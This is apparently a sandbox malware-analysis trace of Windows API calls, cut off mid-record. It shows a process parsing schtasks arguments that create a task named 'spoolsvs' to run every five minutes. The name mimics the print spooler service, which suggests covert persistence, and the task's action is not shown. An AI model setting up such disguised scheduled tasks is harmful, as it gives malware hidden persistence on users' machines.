[0160.388] SetLastError (dwErrCode=0x490) [0160.388] lstrlenW (lpString="create") returned 6 [0160.388] lstrlenW (lpString="create") returned 6 [0160.388] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.388] GetProcessHeap () returned 0x400000 [0160.388] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1c0) returned 1 [0160.388] GetProcessHeap () returned 0x400000 [0160.388] RtlReAllocateHeap (Heap=0x400000, Flags=0xc, Ptr=0x41c1c0, Size=0x14) returned 0x41c220 [0160.388] lstrlenW (lpString="create") returned 6 [0160.388] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.388] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.388] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.388] lstrlenW (lpString="|create|") returned 8 [0160.388] lstrlenW (lpString="|create|") returned 8 [0160.388] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0160.388] SetLastError (dwErrCode=0x0) [0160.388] SetLastError (dwErrCode=0x0) [0160.388] SetLastError (dwErrCode=0x0) [0160.388] lstrlenW (lpString="/tn") returned 3 [0160.388] lstrlenW (lpString="-/") returned 2 [0160.388] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.388] lstrlenW (lpString="?") returned 1 [0160.388] lstrlenW (lpString="?") returned 1 [0160.389] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.389] lstrlenW (lpString="tn") returned 2 [0160.389] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.389] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|?|") returned 3 [0160.389] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.389] lstrlenW (lpString="|?|") returned 3 [0160.389] lstrlenW (lpString="|tn|") returned 4 [0160.389] SetLastError (dwErrCode=0x490) [0160.389] lstrlenW (lpString="create") returned 6 [0160.389] lstrlenW (lpString="create") returned 6 [0160.389] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.389] lstrlenW (lpString="tn") returned 2 [0160.389] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.389] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.389] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.389] lstrlenW (lpString="|create|") returned 8 [0160.389] lstrlenW (lpString="|tn|") returned 4 [0160.389] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0160.389] SetLastError (dwErrCode=0x490) [0160.389] lstrlenW (lpString="delete") returned 6 [0160.389] lstrlenW (lpString="delete") returned 6 [0160.389] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.389] lstrlenW (lpString="tn") returned 2 [0160.389] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.389] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|delete|") returned 8 [0160.389] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.389] lstrlenW (lpString="|delete|") returned 8 [0160.389] lstrlenW (lpString="|tn|") returned 4 [0160.389] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0160.389] SetLastError (dwErrCode=0x490) [0160.390] lstrlenW (lpString="query") returned 5 [0160.390] lstrlenW (lpString="query") returned 5 [0160.390] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.390] lstrlenW (lpString="tn") returned 2 [0160.390] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.390] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|query|") returned 7 [0160.390] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.390] lstrlenW (lpString="|query|") returned 7 [0160.390] lstrlenW (lpString="|tn|") returned 4 [0160.390] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0160.390] SetLastError (dwErrCode=0x490) [0160.390] lstrlenW (lpString="change") returned 6 [0160.390] lstrlenW (lpString="change") returned 6 [0160.390] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.390] lstrlenW (lpString="tn") returned 2 [0160.390] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.390] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|change|") returned 8 [0160.390] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.390] lstrlenW (lpString="|change|") returned 8 [0160.390] lstrlenW (lpString="|tn|") returned 4 [0160.390] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0160.390] SetLastError (dwErrCode=0x490) [0160.390] lstrlenW (lpString="run") returned 3 [0160.390] lstrlenW (lpString="run") returned 3 [0160.390] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.390] lstrlenW (lpString="tn") returned 2 [0160.390] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.390] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|run|") returned 5 [0160.390] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.390] lstrlenW (lpString="|run|") returned 5 [0160.391] lstrlenW (lpString="|tn|") returned 4 [0160.391] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0160.391] SetLastError (dwErrCode=0x490) [0160.391] lstrlenW (lpString="end") returned 3 [0160.391] lstrlenW (lpString="end") returned 3 [0160.391] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.391] lstrlenW (lpString="tn") returned 2 [0160.391] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.391] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|end|") returned 5 [0160.391] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.391] lstrlenW (lpString="|end|") returned 5 [0160.391] lstrlenW (lpString="|tn|") returned 4 [0160.391] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0160.391] SetLastError (dwErrCode=0x490) [0160.391] lstrlenW (lpString="showsid") returned 7 [0160.391] lstrlenW (lpString="showsid") returned 7 [0160.391] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.391] GetProcessHeap () returned 0x400000 [0160.391] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c220) returned 1 [0160.391] GetProcessHeap () returned 0x400000 [0160.391] RtlReAllocateHeap (Heap=0x400000, Flags=0xc, Ptr=0x41c220, Size=0x16) returned 0x41c220 [0160.391] lstrlenW (lpString="tn") returned 2 [0160.391] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.391] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|showsid|") returned 9 [0160.391] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tn|") returned 4 [0160.392] lstrlenW (lpString="|showsid|") returned 9 [0160.392] lstrlenW (lpString="|tn|") returned 4 [0160.392] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0160.392] SetLastError (dwErrCode=0x490) [0160.392] SetLastError (dwErrCode=0x490) [0160.392] SetLastError (dwErrCode=0x0) [0160.392] lstrlenW (lpString="/tn") returned 3 [0160.392] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0160.392] SetLastError (dwErrCode=0x490) [0160.392] SetLastError (dwErrCode=0x0) [0160.392] lstrlenW (lpString="/tn") returned 3 [0160.392] GetProcessHeap () returned 0x400000 [0160.392] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x8) returned 0x41c1c0 [0160.392] GetProcessHeap () returned 0x400000 [0160.392] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cbd0 [0160.392] SetLastError (dwErrCode=0x0) [0160.392] SetLastError (dwErrCode=0x0) [0160.392] lstrlenW (lpString="spoolsvs") returned 8 [0160.392] lstrlenW (lpString="-/") returned 2 [0160.392] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0160.392] SetLastError (dwErrCode=0x490) [0160.392] SetLastError (dwErrCode=0x490) [0160.392] SetLastError (dwErrCode=0x0) [0160.392] lstrlenW (lpString="spoolsvs") returned 8 [0160.392] StrChrIW (lpStart="spoolsvs", wMatch=0x3a) returned 0x0 [0160.392] SetLastError (dwErrCode=0x490) [0160.392] SetLastError (dwErrCode=0x0) [0160.392] lstrlenW (lpString="spoolsvs") returned 8 [0160.392] GetProcessHeap () returned 0x400000 [0160.392] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x12) returned 0x41d4c0 [0160.392] GetProcessHeap () returned 0x400000 [0160.392] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cc00 [0160.392] SetLastError (dwErrCode=0x0) [0160.393] SetLastError (dwErrCode=0x0) [0160.393] lstrlenW (lpString="/sc") returned 3 [0160.393] lstrlenW (lpString="-/") returned 2 [0160.393] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.393] lstrlenW (lpString="?") returned 1 [0160.393] lstrlenW (lpString="?") returned 1 [0160.393] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.393] lstrlenW (lpString="sc") returned 2 [0160.393] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.393] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|?|") returned 3 [0160.393] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.393] lstrlenW (lpString="|?|") returned 3 [0160.393] lstrlenW (lpString="|sc|") returned 4 [0160.393] SetLastError (dwErrCode=0x490) [0160.393] lstrlenW (lpString="create") returned 6 [0160.393] lstrlenW (lpString="create") returned 6 [0160.393] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.393] lstrlenW (lpString="sc") returned 2 [0160.393] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.393] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.393] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.416] lstrlenW (lpString="|create|") returned 8 [0160.417] lstrlenW (lpString="|sc|") returned 4 [0160.417] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0160.422] SetLastError (dwErrCode=0x490) [0160.422] lstrlenW (lpString="delete") returned 6 [0160.422] lstrlenW (lpString="delete") returned 6 [0160.422] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.422] lstrlenW (lpString="sc") returned 2 [0160.422] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.422] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|delete|") returned 8 [0160.422] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.422] lstrlenW (lpString="|delete|") returned 8 [0160.422] lstrlenW (lpString="|sc|") returned 4 [0160.609] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0160.609] SetLastError (dwErrCode=0x490) [0160.609] lstrlenW (lpString="query") returned 5 [0160.609] lstrlenW (lpString="query") returned 5 [0160.609] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.609] lstrlenW (lpString="sc") returned 2 [0160.609] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.609] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|query|") returned 7 [0160.609] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.609] lstrlenW (lpString="|query|") returned 7 [0160.609] lstrlenW (lpString="|sc|") returned 4 [0160.609] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0160.609] SetLastError (dwErrCode=0x490) [0160.609] lstrlenW (lpString="change") returned 6 [0160.609] lstrlenW (lpString="change") returned 6 [0160.609] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.609] lstrlenW (lpString="sc") returned 2 [0160.609] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.610] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|change|") returned 8 [0160.610] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.610] lstrlenW (lpString="|change|") returned 8 [0160.610] lstrlenW (lpString="|sc|") returned 4 [0160.610] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0160.610] SetLastError (dwErrCode=0x490) [0160.610] lstrlenW (lpString="run") returned 3 [0160.610] lstrlenW (lpString="run") returned 3 [0160.610] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.610] lstrlenW (lpString="sc") returned 2 [0160.610] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.610] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|run|") returned 5 [0160.610] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.610] lstrlenW (lpString="|run|") returned 5 [0160.610] lstrlenW (lpString="|sc|") returned 4 [0160.610] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0160.610] SetLastError (dwErrCode=0x490) [0160.610] lstrlenW (lpString="end") returned 3 [0160.610] lstrlenW (lpString="end") returned 3 [0160.610] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.610] lstrlenW (lpString="sc") returned 2 [0160.610] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.611] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|end|") returned 5 [0160.611] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.611] lstrlenW (lpString="|end|") returned 5 [0160.611] lstrlenW (lpString="|sc|") returned 4 [0160.611] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0160.611] SetLastError (dwErrCode=0x490) [0160.611] lstrlenW (lpString="showsid") returned 7 [0160.611] lstrlenW (lpString="showsid") returned 7 [0160.611] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.611] lstrlenW (lpString="sc") returned 2 [0160.611] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.611] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|showsid|") returned 9 [0160.611] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|sc|") returned 4 [0160.611] lstrlenW (lpString="|showsid|") returned 9 [0160.611] lstrlenW (lpString="|sc|") returned 4 [0160.611] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0160.611] SetLastError (dwErrCode=0x490) [0160.611] SetLastError (dwErrCode=0x490) [0160.611] SetLastError (dwErrCode=0x0) [0160.611] lstrlenW (lpString="/sc") returned 3 [0160.611] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0160.611] SetLastError (dwErrCode=0x490) [0160.626] SetLastError (dwErrCode=0x0) [0160.669] lstrlenW (lpString="/sc") returned 3 [0160.669] GetProcessHeap () returned 0x400000 [0160.669] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x8) returned 0x41dc90 [0160.669] GetProcessHeap () returned 0x400000 [0160.669] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cc30 [0160.669] SetLastError (dwErrCode=0x0) [0160.669] SetLastError (dwErrCode=0x0) [0160.669] lstrlenW (lpString="MINUTE") returned 6 [0160.669] lstrlenW (lpString="-/") returned 2 [0160.669] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0160.669] SetLastError (dwErrCode=0x490) [0160.670] SetLastError (dwErrCode=0x490) [0160.670] SetLastError (dwErrCode=0x0) [0160.670] lstrlenW (lpString="MINUTE") returned 6 [0160.670] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0160.670] SetLastError (dwErrCode=0x490) [0160.670] SetLastError (dwErrCode=0x0) [0160.670] lstrlenW (lpString="MINUTE") returned 6 [0160.670] GetProcessHeap () returned 0x400000 [0160.670] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xe) returned 0x41d4e0 [0160.670] GetProcessHeap () returned 0x400000 [0160.670] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cc60 [0160.670] SetLastError (dwErrCode=0x0) [0160.670] SetLastError (dwErrCode=0x0) [0160.670] lstrlenW (lpString="/mo") returned 3 [0160.670] lstrlenW (lpString="-/") returned 2 [0160.670] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.670] lstrlenW (lpString="?") returned 1 [0160.670] lstrlenW (lpString="?") returned 1 [0160.670] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.670] lstrlenW (lpString="mo") returned 2 [0160.670] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.670] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|?|") returned 3 [0160.670] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.670] lstrlenW (lpString="|?|") returned 3 [0160.670] lstrlenW (lpString="|mo|") returned 4 [0160.670] SetLastError (dwErrCode=0x490) [0160.670] lstrlenW (lpString="create") returned 6 [0160.670] lstrlenW (lpString="create") returned 6 [0160.671] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.671] lstrlenW (lpString="mo") returned 2 [0160.671] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.671] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.671] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.671] lstrlenW (lpString="|create|") returned 8 [0160.671] lstrlenW (lpString="|mo|") returned 4 [0160.671] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0160.671] SetLastError (dwErrCode=0x490) [0160.671] lstrlenW (lpString="delete") returned 6 [0160.671] lstrlenW (lpString="delete") returned 6 [0160.671] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.671] lstrlenW (lpString="mo") returned 2 [0160.671] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.671] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|delete|") returned 8 [0160.671] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.671] lstrlenW (lpString="|delete|") returned 8 [0160.671] lstrlenW (lpString="|mo|") returned 4 [0160.671] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0160.671] SetLastError (dwErrCode=0x490) [0160.671] lstrlenW (lpString="query") returned 5 [0160.671] lstrlenW (lpString="query") returned 5 [0160.671] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.671] lstrlenW (lpString="mo") returned 2 [0160.672] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.672] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|query|") returned 7 [0160.672] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.672] lstrlenW (lpString="|query|") returned 7 [0160.672] lstrlenW (lpString="|mo|") returned 4 [0160.672] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0160.672] SetLastError (dwErrCode=0x490) [0160.672] lstrlenW (lpString="change") returned 6 [0160.672] lstrlenW (lpString="change") returned 6 [0160.672] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.672] lstrlenW (lpString="mo") returned 2 [0160.672] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.672] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|change|") returned 8 [0160.672] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.672] lstrlenW (lpString="|change|") returned 8 [0160.672] lstrlenW (lpString="|mo|") returned 4 [0160.672] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0160.672] SetLastError (dwErrCode=0x490) [0160.672] lstrlenW (lpString="run") returned 3 [0160.672] lstrlenW (lpString="run") returned 3 [0160.672] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.672] lstrlenW (lpString="mo") returned 2 [0160.672] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.672] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|run|") returned 5 [0160.672] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.673] lstrlenW (lpString="|run|") returned 5 [0160.673] lstrlenW (lpString="|mo|") returned 4 [0160.673] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0160.673] SetLastError (dwErrCode=0x490) [0160.673] lstrlenW (lpString="end") returned 3 [0160.673] lstrlenW (lpString="end") returned 3 [0160.673] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.673] lstrlenW (lpString="mo") returned 2 [0160.673] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.673] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|end|") returned 5 [0160.673] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.673] lstrlenW (lpString="|end|") returned 5 [0160.673] lstrlenW (lpString="|mo|") returned 4 [0160.673] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0160.673] SetLastError (dwErrCode=0x490) [0160.673] lstrlenW (lpString="showsid") returned 7 [0160.673] lstrlenW (lpString="showsid") returned 7 [0160.673] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.673] lstrlenW (lpString="mo") returned 2 [0160.673] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.673] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|showsid|") returned 9 [0160.673] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|mo|") returned 4 [0160.673] lstrlenW (lpString="|showsid|") returned 9 [0160.673] lstrlenW (lpString="|mo|") returned 4 [0160.673] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0160.674] SetLastError (dwErrCode=0x490) [0160.674] SetLastError (dwErrCode=0x490) [0160.674] SetLastError (dwErrCode=0x0) [0160.674] lstrlenW (lpString="/mo") returned 3 [0160.674] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0160.674] SetLastError (dwErrCode=0x490) [0160.674] SetLastError (dwErrCode=0x0) [0160.674] lstrlenW (lpString="/mo") returned 3 [0160.674] GetProcessHeap () returned 0x400000 [0160.674] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x8) returned 0x41dcb0 [0160.674] GetProcessHeap () returned 0x400000 [0160.674] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cc90 [0160.674] SetLastError (dwErrCode=0x0) [0160.674] SetLastError (dwErrCode=0x0) [0160.674] lstrlenW (lpString="5") returned 1 [0160.674] SetLastError (dwErrCode=0x490) [0160.674] SetLastError (dwErrCode=0x0) [0160.674] lstrlenW (lpString="5") returned 1 [0160.674] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0160.674] SetLastError (dwErrCode=0x490) [0160.674] SetLastError (dwErrCode=0x0) [0160.674] lstrlenW (lpString="5") returned 1 [0160.674] GetProcessHeap () returned 0x400000 [0160.674] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x4) returned 0x41dcd0 [0160.674] GetProcessHeap () returned 0x400000 [0160.674] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41ccc0 [0160.674] SetLastError (dwErrCode=0x0) [0160.674] SetLastError (dwErrCode=0x0) [0160.674] lstrlenW (lpString="/tr") returned 3 [0160.674] lstrlenW (lpString="-/") returned 2 [0160.674] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.675] lstrlenW (lpString="?") returned 1 [0160.675] lstrlenW (lpString="?") returned 1 [0160.675] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.675] lstrlenW (lpString="tr") returned 2 [0160.675] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.675] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|?|") returned 3 [0160.675] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|tr|") returned 4 [0160.675] lstrlenW (lpString="|?|") returned 3 [0160.675] lstrlenW (lpString="|tr|") returned 4 [0160.675] SetLastError (dwErrCode=0x490) [0160.675] lstrlenW (lpString="create") returned 6 [0160.675] lstrlenW (lpString="create") 